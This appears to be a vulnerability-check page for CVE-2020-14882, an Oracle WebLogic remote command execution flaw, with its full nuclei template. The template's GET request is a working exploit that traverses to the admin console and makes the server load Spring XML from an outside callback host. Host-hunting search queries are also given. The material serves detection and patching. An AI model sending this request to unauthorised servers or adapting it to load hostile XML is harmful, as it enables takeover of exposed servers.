Oracle Weblogic Server - Remote Command Execution

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Oracle WebLogic Server contains an easily exploitable remote command execution vulnerability which allows unauthenticated attackers with network access via HTTP to compromise the server.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the affected application.

Fix

Apply the latest security patches provided by Oracle to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSy…
Positive when: contains in header "ADMINCONSOLESESSION" AND contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2020-14882 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-14882

info:
  name: Oracle Weblogic Server - Remote Command Execution
  author: dwisiswant0
  severity: critical
  description: Oracle WebLogic Server contains an easily exploitable remote command execution vulnerability which allows unauthenticated attackers with network access via HTTP to compromise the server.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the affected application.
  remediation: |
    Apply the latest security patches provided by Oracle to fix the vulnerability.
  reference:
    - https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
    - https://www.oracle.com/security-alerts/cpuoct2020.html
    - https://twitter.com/jas502n/status/1321416053050667009
    - https://youtu.be/JFVDOIL0YtA
    - https://github.com/jas502n/CVE-2020-14882#eg
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14882
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-14882
    epss-score: 0.99997
    epss-percentile: 0.99989
    cpe: cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: oracle
    product: weblogic_server
    shodan-query:
      - http.title:"oracle peoplesoft sign-in"
      - product:"oracle weblogic"
    fofa-query: title="oracle peoplesoft sign-in"
    google-query: intitle:"oracle peoplesoft sign-in"
  tags: cve2020,cve,oracle,rce,weblogic,oast,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext('http://{{interactsh-url}}')"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "ADMINCONSOLESESSION"

      - type: word
        part: interactsh_protocol
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from